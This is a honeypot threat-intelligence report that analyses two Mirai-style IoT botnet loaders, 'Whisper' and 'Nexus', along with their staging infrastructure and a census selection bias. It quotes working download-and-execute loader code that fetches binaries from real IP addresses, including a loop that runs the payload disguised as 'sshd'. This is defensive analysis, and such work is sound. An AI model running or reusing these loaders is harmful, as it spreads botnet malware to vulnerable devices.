The Staged Sweeps: Two Botnets Hiding as Singletons

The Long Tail — Part 1 of the honeypot census remainder

Classification: HIGH · Confidence: HIGH (first-party loader analysis + infrastructure enrichment)

The operator census that anchored the preceding letters made one simplifying assumption so natural that it was never stated: it counted operators by the weight they dropped. RedTail loomed large because it deposited eleven binaries directly on the sensor. The Go toolkit dominated because forty-two of its builds landed inline. The census ranked the corpus by what fell on the honeypot and, at the bottom of that ranking, found a scatter of samples that appeared exactly once — the singletons, the tail, the material a tidy summary is tempted to wave off as noise.

That assumption has a blind spot, and this letter is about two operators who live inside it. Weighed by what they dropped on the sensor, they are two of the smallest things in the corpus: one is an eight-kilobyte text file, the other is four hundred and seventy-two bytes. Read for what they actually are, they are two full multi-architecture botnets — one targeting roughly thirty processor families, the other fourteen — each of which happened to drop only a loader on the honeypot while keeping its real payload on a server somewhere else. The census saw a singleton because a singleton is all that touched the sensor. The breadth was real; it was simply staged off-box.

They are named, by their own loaders, Whisper and Nexus. And the reason they matter beyond their own two entries is what they reveal about the shape of the census itself: the honeypot sees operators who carry their payload inline at full weight, and operators who stage it externally as ghosts. The tail is not the bottom of the distribution. It is the part of the distribution that keeps its weight somewhere the sensor cannot weigh it.

Whisper: thirty architectures in eight kilobytes

The sample the classifier labelled "Whisper" is a single shell script, 8,012 bytes, seen once. It is not a payload. It is a download harness, and its structure is the entire Mirai lineage compressed to its essence: a long list of nearly identical lines, one per target architecture, each of which changes directory to somewhere writable, clears prior copies, and fetches the architecture-specific binary from a fixed server.

A representative line reads:

cd /tmp || cd /var/run || cd /dev; rm -rf whisper.*;
wget http://31.170.22.205/bins/whisper.armv7 ||
/bin/busybox wget http://31.170.22.205/bins/whisper.armv7 ||
busybox wget http://31.170.22.205/bins/whisper.armv7

The list of architectures it iterates is extraordinary in its breadth. Beyond the usual armv4 through armv7, aarch64, i686, and x64, it reaches for aarch64be (big-endian ARM), two ARC variants (arcle750d, arclehs38), the full MIPS spread (mips, mips64, mips64le, mips64len32, mips64n32, mipsle), both RISC-V widths (riscv32, riscv64), m68k, sh4, sparc and sparc64, and no fewer than seven PowerPC sub-variants (powerpc440fp, powerpc64e5500, powerpc64e6500, powerpc64lepower8, powerpc64power8, powerpce300c3, powerpce500mc). This is not a server-hunter. It is an everything-hunter — a loader written to run on network appliances, routers, set-top boxes, industrial controllers, and the long strange tail of embedded CPUs that make up the Internet of Things.

Set beside the breadth operator dissected earlier, Whisper is broader still. RedTail, in its second wave, shipped five architectures inline. Whisper points at roughly thirty — and points, rather than ships, precisely because thirty compiled binaries is far too much to carry in every drop. So it carries a list instead, and the binaries live at http://31.170.22.205/bins/. Every architecture line falls back from wget to BusyBox's built-in wget, on the assumption that a stripped embedded device may have nothing else. Breadth on the architecture axis and breadth on the download-tool axis, in the same eight kilobytes.

The lineage is unmistakable. The cd /tmp || cd /var/run || cd /dev directory dance, the rm -rf whisper.* pre-clean, the per-architecture fetch list, the BusyBox fallback — these are the genetic markers of the Mirai source lineage that leaked in 2016 and has been recombined into thousands of variants since. Whisper is not a novel design; it is a fresh recompilation of a decade-old pattern, renamed, repointed at a new server, and released again — the IoT-botnet equivalent of the Outlaw key's decade-old persistence, another known shape that never had to change because the target population never hardened.

The infrastructure enrichment names the server. 31.170.22.205 is a RIPE address in the 31.170.16.0/21 prefix, originated by AS43513, NANO-AS — Sia Nano IT, Latvia. It is the kind of low-cost European hosting that serves as a distribution point precisely because it is cheap and lightly policed. The honeypot's own threat score for the address is low, for a revealing reason: the sensor never saw this IP attack it. It saw a loader that pointed at it. The address is not an aggressor in the honeypot's logs; it is a warehouse, and warehouses do not knock on doors.

Nexus: fourteen architectures in 472 bytes, wearing the name sshd

If Whisper is the essence of Mirai at eight kilobytes, Nexus is the same idea filed down to a shard. The sample the classifier called a "cross-compiled binary loader" is 472 bytes — a dozen lines of shell — and it is a complete botnet loader.

Its logic, reconstructed:

server_ip="202.155.10.112"
binname="nexus"
output="sshd"
binarys="mips mpsl arm arm5 arm6 arm7 x86 arc sh4 ppc spc i5 i6 m68k"
for arch in $binarys; do
  wget http://$server_ip/$binname.$arch -O $output ||
  curl -o $output http://$server_ip/$binname.$arch ||
  tftp -g -l $output -r $binname.$arch $server_ip ||
  tftp $server_ip -c get $binname.$arch -l $output
  chmod 777 $output
  ./$output $arch
done

Three design choices make Nexus worth its own paragraph. First, it fetches fourteen architectures from 202.155.10.112 — and where Whisper fell back to BusyBox, Nexus falls back further, from wget to curl to tftp and then to a second tftp syntax. An operator who provides two different tftp invocations is planning for victims that have neither wget nor curl — the most stripped embedded devices on the network, the ones with only the trivial file-transfer protocol available. This is delivery-axis breadth taken past even Whisper.

Second, and more elegant, it names its payload sshd. The fetched binary is written to a file called sshd and executed as sshd. On a machine that was just brute-forced over SSH, a process named sshd is the single most unremarkable thing that could appear in a process list. Where RedTail hid its binary behind a random filename, Nexus hides its binary behind the expected one. Two philosophies of concealment: RedTail is invisible because it is unrecognizable; Nexus is invisible because it is exactly what you expected to see. The camouflage is not a random smear but a specific impersonation of the daemon the attacker rode in on.

Third, its infrastructure sits behind a reseller. 202.155.10.112 enriches to AS212238, CDNEXT — Datacamp Limited, a United Kingdom hosting reseller, on an APNIC prefix (202.155.10.0/24) registered to Indonesia. Where Whisper used a cheap Latvian VPS directly, Nexus fronts its distribution through a CDN-style reseller on an Asia-Pacific prefix — a different answer to the same problem of where to keep a directory of /nexus.<arch> files that will not be taken down before the sweep completes.

Why the census could not see them

The two loaders expose the census's structural blind spot cleanly, because they fail to be counted for the same reason the toolkit and RedTail were counted so well.

An inline-dropper deposits its payload directly on the victim. The toolkit writes its Go binary to disk on the honeypot; RedTail copies eleven architecture builds to the honeypot; the worm carries its whole self in one 4,745-byte script. Everything the operator uses touches the sensor, so the sensor weighs all of it, and the census sees the operator at full size.

An external-stager deposits only a loader. Whisper's thirty binaries and Nexus's fourteen never touch the honeypot at all — they live on 31.170.22.205 and 202.155.10.112, and the loader is retrieved, executed, and (in a real victim) reaches out to fetch the architecture-appropriate payload from there. The honeypot, which records what is dropped on it, records eight kilobytes and four hundred seventy-two bytes. The thirty-plus binaries are real, compiled, and waiting; they are simply on the wrong side of the sensor to be counted.

So the tail is not a random assortment of small operators. It is biased — biased toward exactly those operators who stage their payloads externally, because staging externally is precisely what makes an operator look small to a drop-weight census. The broadest botnets in the corpus, measured by architecture coverage, are two of its lightest samples, measured by bytes dropped. Breadth and drop-weight are not merely uncorrelated; for the stagers they are inversely related, because the whole point of staging is to keep the weight off the wire until the last moment.

The trade the stager makes

Staging externally versus carrying the payload inline is not a matter of sophistication — it is a genuine engineering trade-off, and Whisper and Nexus sit on the opposite side of it from every heavy operator in the corpus.

The inline-dropper's bet is self-containment. The worm's 4,745 bytes carry everything; RedTail copies its binaries directly; the toolkit writes its full self to disk. The payoff is resilience against infrastructure loss — take down the operator's servers and the copies already on victims keep running, because they brought everything with them. The cost is weight and exposure: every byte of capability is deposited where a sensor can catch it, reverse it, and signature it. The inline-dropper trades discoverability for independence.

The external-stager makes the reverse bet. Whisper and Nexus carry almost nothing — a list and a URL — and fetch the real payload only at the moment of infection, per architecture, from a server they control. The payoff is lightness and late binding: the drop is tiny, the same loader serves thirty CPU families without carrying thirty binaries, and the operator can swap the payloads on the server without touching the loader already in circulation. The cost is fragility: the entire botnet is one takedown away from inertness, because a loader that cannot reach 31.170.22.205 fetches nothing and infects nothing. The stager trades independence for a small, swappable, deniable footprint — and accepts that its whole operation hangs on a single cheap server staying up.

Neither bet is the beginner's option. They are two coherent answers to the question of where a botnet keeps its capability, and the honeypot happens to observe one of them richly and the other barely — not because one is bigger, but because one deposits its answer on the sensor and the other keeps its answer one hop away.

The compensation: stagers give up their address

There is a symmetry here worth drawing out, because it inverts a complaint from an earlier letter.

RedTail, the inline-dropper, deposited eleven binaries and yet gave up almost nothing about its infrastructure: its miner carried no pool and no wallet, its config externalized, its command channel absent from the artifact. It handed the sensor a great deal of payload and almost no infrastructure. The stagers do the opposite. Whisper and Nexus deposited almost no payload — a loader each — but their loaders had to name the server, because a loader that does not know where to fetch from is useless. The external-stager cannot hide its C2 the way the inline-dropper can, because its C2 is its payload delivery, and the delivery instruction is the only thing it drops.

This reframes what the tail is for, analytically. The heavy, inline operators are where the payloads are, and the census weighs them well. The light, staging operators are where the addresses are — the live distribution servers, the reachable infrastructure, the IPs an analyst can actually pivot on. 31.170.22.205 and 202.155.10.112 are not in the corpus because Whisper and Nexus are important by volume. They are in the corpus because Whisper and Nexus, by staging externally, were structurally forced to write down where they keep their weight. The tail is not the noise floor. It is the address book.

What a honeypot systematically cannot see

The blind spot generalizes past these two operators, and naming it is the methodological point of this letter.

Any sensor that measures what is deposited on it will systematically over-weight inline-droppers and under-weight external-stagers — not occasionally, not by noise, but structurally, every time, in the same direction. This is a selection bias baked into the observation method itself. The census's ranking of the corpus by dropped weight is therefore not a ranking of operators by size or reach or activity; it is a ranking of operators by how much of themselves they happen to deposit inline, which is a property of their delivery architecture, not their importance. RedTail sits near the top partly because it is a real, active, broad operator — and partly because its delivery style makes it maximally visible to exactly this kind of sensor. Whisper sits at the bottom partly because it drops one file — and entirely regardless of whether its thirty-architecture botnet is larger or smaller than RedTail's, a question the honeypot cannot answer from a drop-weight census at all.

The correction is not to re-weight the tail. It is to read it differently. A singleton that is a self-contained payload (a stray miner, a one-off script) is genuinely a small thing. A singleton that is a loader pointing at a live server is the visible tip of something whose size lives off-box, and it must be followed, not weighed. The distinction between those two kinds of singleton is invisible to a byte count and obvious to a reading of the file — which is precisely why the tail rewards reading and punishes summarizing. Two of the corpus's "singletons" were botnets; the only way to know was to open them and notice that one dropped a payload and the other dropped an address.

This is why the census's honest operator count — the "roughly six" it settled on — was always a floor, and why the floor moves the moment the tail is read rather than weighed. Whisper and Nexus are two more operators, neither reducible to any of the six, and there is no reason to believe they are the last two: every external-stager in the corpus is sitting in the tail by construction, looking like noise, waiting to be followed to its server rather than measured by its drop.

Two hosting strategies, one job

The two servers are worth a final comparison, because they represent two standing answers to the botnet operator's logistics problem: where do you keep a directory of cross-compiled binaries so that it survives long enough to seed a sweep?

Whisper's answer is the cheap direct VPS: a Latvian address on Sia Nano IT, a small RIPE-region host, the binaries served straight from /bins/ over plain HTTP. Low cost, low friction, low longevity — the kind of box that is spun up, used for a campaign, and abandoned or reissued. Nexus's answer is the reseller front: a UK-registered CDN reseller, Datacamp/CDNEXT, on an Indonesian prefix, adding a layer of intermediary between the operator and the takedown request. Neither is sophisticated infrastructure. Both are commodity hosting chosen for exactly the properties a throwaway distribution point needs — availability during the sweep, indifference after it. That the two operators chose differently (direct versus fronted, RIPE versus APNIC) is a reminder that even at the very bottom of the corpus, these are distinct hands making distinct operational choices, not one undifferentiated mass of "IoT malware."

Bounds and limits

DOCUMENTED, first-party: the full Whisper loader (8,012 bytes, ~30 architecture fetch lines, server 31.170.22.205, BusyBox fallback) and the full Nexus loader (472 bytes, 14 architectures, server 202.155.10.112, wget/curl/tftp/tftp fallback chain, payload named sshd). DOCUMENTED, enrichment: 31.170.22.205 → AS43513 NANO-AS / Sia Nano IT, Latvia, prefix 31.170.16.0/21; 202.155.10.112 → AS212238 CDNEXT / Datacamp Limited (UK reseller), APNIC prefix 202.155.10.0/24 registered to Indonesia.

INFERRED, high confidence: that Whisper and Nexus are full multi-architecture botnets rather than the singletons their corpus footprint suggests — a loader that fetches thirty architecture-specific binaries from a live server is the front end of a thirty-architecture botnet whether or not those binaries touched this particular sensor.

BOUNDED: the architecture-specific payloads themselves were not retrieved into the corpus — they are external, referenced by the loaders but not fetched by the honeypot, so their capabilities (miner, DDoS bot, proxy) are not characterized here, only their delivery. The two C2 addresses are enriched by routing, registration, and geography, which describe the hosting, not the operators — Sia Nano IT and Datacamp are the landlords, not the tenants. The honeypot's low threat scores for both addresses reflect that they were observed as loader targets, not as attacking sources, and should not be read as benignity. And "thirty architectures" and "fourteen architectures" are the counts these two loaders enumerate; a real botnet's server may host more.

None of these bounds change the finding. Two of the corpus's lightest samples are two of its broadest operators, invisible to a census that weighs what falls on the sensor because they keep their weight on a server in Latvia and a reseller's prefix in Indonesia. The tail is not where the small operators are. It is where the operators who stage elsewhere hide — and the address they leave behind in the loader is the only part of them the sensor ever gets to hold.

This letter opens The Long Tail, a short series examining the honeypot census's remainder — the samples the operator count could not cluster. Part One found that two of them are not singletons at all but staged botnets. The parts that follow turn to the corpus's heaviest compiled tooling, its reconnaissance layer, and the genuinely stray — including a Windows binary that landed, uselessly, on a Linux honeypot.